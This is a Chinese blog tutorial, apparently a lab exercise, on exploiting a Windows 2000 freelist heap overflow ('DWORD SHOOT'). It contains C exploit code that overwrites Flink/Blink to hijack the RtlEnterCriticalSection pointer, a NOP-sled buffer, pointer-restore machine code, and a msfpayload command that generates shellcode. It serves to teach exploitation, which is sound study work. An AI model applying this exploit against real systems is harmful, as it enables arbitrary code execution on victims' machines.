堆溢出(二)空表DWORD SHOOT

0x000 環境

  1. 虛擬機 VirtualBox 5.0.20
  2. 系統 windows 2000 Kali linux
  3. 工具 VC++6.0 OllyDbg 1.10 漢化版 AsmToE v5.20

0x001堆溢出之空表

  1. 代碼
2.  #include <stdio.h>  
3.  #include <windows.h>  
4.    
5.  int main()  
6.  {  
7.      HANDLE hp;  
8.      HLOCAL h1,h2,h3;  
9.      char * buf;  
10.   
11.   
12.     hp = HeapCreate(0,0x1000,0x10000);  
13.   
14.     __asm int 3  
15.   
16.     buf = (char *)HeapAlloc(hp,HEAP_ZERO_MEMORY,8);  
17.     h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);  
18.     h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);  
19.       
20.     HeapFree(hp,0,h1);  
21.       
22.     strcpy(buf,"AAAAAAAABBBBBBBBCCCCDDDD"); 
23. //buf大小爲8,而字符串的長度是('A'*8+'B'*8+'C'*4+'D'*4)24
24. //,這裏會產生溢出  
25. //其中'A'覆蓋buf申請的空間,而'B'會覆蓋下一個堆塊的頭(這裏)  
26.  h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8); //DWORD SHOOT  
27.   return 0;  
28. } 
  1. 空表溢出原理及現象分析
    a) 編譯程序,運行等等我在這裏就不一一贅述了,上篇文章已經寫的很明白了,溢這裏主要就是講堆出的原理和利用的方式。
    b) 首先運行上面的程序,程序崩潰,進入OD調試,這和上篇文章的操作一樣,斷點的位置都是一樣的,轉到堆上。
    這裏寫圖片描述
    c) 單步調試,直到堆塊分配完畢,一共分配三塊堆塊(這是有原因的,首先堆是初始化的狀態,所有分配的堆塊都是從“尾塊”分配,分配的地址是連續的,這對後期的堆溢出有很大幫助),從下圖可以驗證上述所說的內容,其中上面的就是三塊新分配的堆塊,下面的是尾塊。
    這裏寫圖片描述
    d) 繼續單步調試結合源代碼可以看出來,將第二塊的堆塊釋放了,他被鏈接到了空表free2的上了,而這塊堆塊正是要被溢出的堆塊,(同時這裏解釋一下第三個堆塊的作用,防止發生堆塊合併,如果沒有第三塊,那麼在第二塊的釋放後,第二塊會和後面的堆塊發生合併,變成新的“尾塊”,這裏雖然不會影響堆溢出,但是現象不如現在的結果明顯),具體現象如下圖,其中選中部分是第二堆塊,紅色框分別爲Flink和Blink指針。
    這裏寫圖片描述
    e) 結合源代碼可以看出來之後調用了strcpy函數,從分配的堆塊大小可以看出發生了溢出,同時我也在旁邊的位置標註了註釋,可以很清楚的看出,溢出的位置和對應位置的數據,單步直到複製完畢,可以看到下圖的變化,選中的部分是複製的數據,對比上面的圖,可以看出來43(’C’)的位置就是Flink,而44(‘D’)就是Blink。
    這裏寫圖片描述
    f) 下面直接運行程序,程序會斷在下面的位置,我在這些位置做了註釋,大家可以對照着看,分析一下堆塊卸載的過程,可以分析出來,在堆塊卸載的過程會將節點Flink的值寫入Blink所指向的地址。
    這裏寫圖片描述
  2. 總結
    通過對上面的小程序的調試和分析,我們從源代碼和彙編的角度清楚的明白了空表溢出的原理及現象,並且可以知道空表堆溢出會造成一次任意地址寫。

0x002 DWROD SHOOT代碼植入

  1. 修改代碼
    將上面的代碼修改成下面這樣,大家可以結合註釋來看,這個程序運行之後,附加調試器,最後會斷在和上面程序一樣的地址,就是要將43434343 寫入地址44444444,這裏的地址是不訪問的所以斷了下來,我們可以將44444444換成程序可以寫入的地址,再將43434343設置成要寫入的數據(比如shellcode的地址等),就可以完成DWORD SHOOT。(其中\x90 對應的指令是nop,跳到shellcode 中就可以滑行了)
1.  #include <stdio.h>  
2.  #include <windows.h>  
3.    
4.  char shellcode[]=  
5.  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"      //每行15個字節 一共304個\x90用來填充新申請的堆塊,這裏有個對齊  
6.  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
7.  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
8.  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
9.  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
10. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
11. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
12. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
13. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
14. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
15. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
16. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
17. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
18. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
19. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
20. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
21. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
22. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
23. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
24. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
25. "\x90\x90\x90\x90"  
26. "\x41\x41\x41\x41\x41\x41\x41\x41"      //  下一個堆塊的頭  
27. "\x43\x43\x43\x43"                      //Flink  
28. "\x44\x44\x44\x44"                      //Blink  
29. ;  
30.   
31. int main()  
32. {  
33.     HANDLE hp;  
34.     HLOCAL h1,h2,h3;  
35.     char * buf;  
36.       
37.   
38.     hp = HeapCreate(0,0x1000,0x10000);  
39.   
40.     __asm int 3  
41.   
42.     buf = (char *)HeapAlloc(hp,HEAP_ZERO_MEMORY,300);  
43.     h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);   
44.     h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);  
45.       
46.     HeapFree(hp,0,h1);   
47.       
48.     memcpy(buf,shellcode,0x200); //溢出點  
49.       
50.     h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8); //DWORD SHOOT  
51.   
52.     return 0;  
53. } 
  1. 尋找DWORD SHOOT 地址
    a) 確定DWORD SHOOT目標
    《0day安全》中也說了很多的目標,我這裏就選用這個函數RtlEnterCriticalSection(進入臨界區的函數)爲目標。
    b) 通過OD確定RtlEnterCriticalSection地址
    這裏首先要了解一些知識(PEB和TEB)
    PEB:進程環境塊
    TEB:線程環境塊
    (這裏我也只說一些相關的知識,如果想深入理解個兩個結構,可以上網搜索一些相關資料)
    1) 首先和上面一樣運行程序,調試,附加OD後會斷下來,在寄存器窗口,可以看到FS寄存器它存儲的就是TEB的地址
    這裏寫圖片描述
    2) 它在PEB偏移爲0x20的位置,而PEB在TEB結構中偏移0x30的位置,我們來查看一下(在OD下面的command中輸入 dd 7ffde000數據窗口就會顯示對應的數據),如下圖偏移0x30的值是0x7ffdf000
    這裏寫圖片描述
    3) 同上查看PEB(在command中輸入dd 7ffdf000 )的結果如下圖,紅框的地方就是RtlEnterCriticalSection的地址,它在PEB偏移0x20的位置
    這裏寫圖片描述
    c) 總結
    至此,我們通過OD調試器找到了目標(RtlEnterCriticalSection)地址7ffdf020(當然在每個機子上地址將會不同,請大家自己動手調試),這裏也記錄一下 這個地址上的數據,在後面的時候會用到。
  2. 查找shellcode的地址
    因爲最後shellcode 要複製到申請的第一個堆塊中,所以找到第一個堆塊的起始地址就行了,在我的電腦中的地址是0x00360688
  3. 再次修改代碼
    將剛纔得到的shellcode地址放到Flink的位置,將存放RtlEnterCriticalSection函數的地址放到Blink的位置,在將shellcode從開始第八個字節之後的任意一個字節改成”\xcc”(至於爲什麼是8個字節之後,一會我在後面解釋),這樣相當於int 3 斷點,這樣可以使程序斷下來,便於我們觀察,具體修改結果如下圖。
    這裏寫圖片描述
  4. 驗證DWORD SHOOT
    重新編譯後再次調試程序,我這裏直接F9運行,結果斷了下來,在查看存放RtlEnterCriticalSection函數的地址0x7ffdf020,可以看到這個地址現在存放的就是0x00360688,就是之前Flink的值,而程序也跳的shellcode去執行了,這些都證明了DWORD SHOOT成功了,具體結果如下圖。
    這裏寫圖片描述
  5. 完善生成並替換shellcode
  6. 恢復現場
    我們修改了RtlEnterCriticalSection函數的地址,這很可能影響到系統的其他程序,所以在我們運行shellcode之前應該,將之前的數據恢復,之前我們也記錄了正確的RtlEnterCriticalSection函數地址我們將它恢復回去。
    我們可以使用下面三條的彙編指令實現
    mov eax,77F89103h
    mov ebx,7FFDF020h
    mov dword ptr ds:[ebx],eax
    使用AsmToE工具將彙編轉換成機器碼如下,
    \xB8\x03\x91\xF8\x77\xBB\x20\xF0\xFD\x7F\x89\x03
  7. 生成shellcode
    我這裏使用Kali 系統的msfpayload生成了一個shellcode,命令如下:
    msfpayload windows/exec CMD=”cmd /k calc” R|msfencode -e x86/shikata_ga_nai -b “\x00” -t c
  8. 替換shellcode
    終極shellcode如下圖:
    這裏寫圖片描述
  9. 註釋掉斷點運行結果如下圖,可以看出來shellcode運行成功了,我們的攻擊也成功了。
    這裏寫圖片描述

  10. 指針反射
    這裏講一下之前爲什麼要求shellcode從第八個字節之後,在正式開始,我們可以先看一下DWORD SHOOT 之後第一個堆塊裏的變化,可以看到第四個字節之後寫入了新的數據並不是之前的90,這是因爲DOWRD SHOOT 發生在鏈表卸載的第一句上,第二句會繼續執行,將Blink的值寫入shellcode起始位置偏移加4的位置,好在大多是情況下不會影響shellcode的正常運行。
    這裏寫圖片描述

  11. 對”指針反射”的解決
    這裏也提出一個辦法繞過可以使用下面的指令短跳轉過這四個字節,他們的機器碼爲EB+偏移,shellcode修改如下圖即可。
    這裏寫圖片描述
    0x003 總結
    經過這次實驗,對上一節的堆結構更加深入的理解,同時對空表DWORD SHOOT 的利用有了更深入的瞭解,以後一定要多動手多練習,這樣才能加深對知識的理解和利用,下一節我會動手多一下塊表的DWORD SHOOT 的原理和利用。
    0x004 參考書籍
    [1]:《0day安全 軟件漏洞分析技術 (第二版)》王清
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章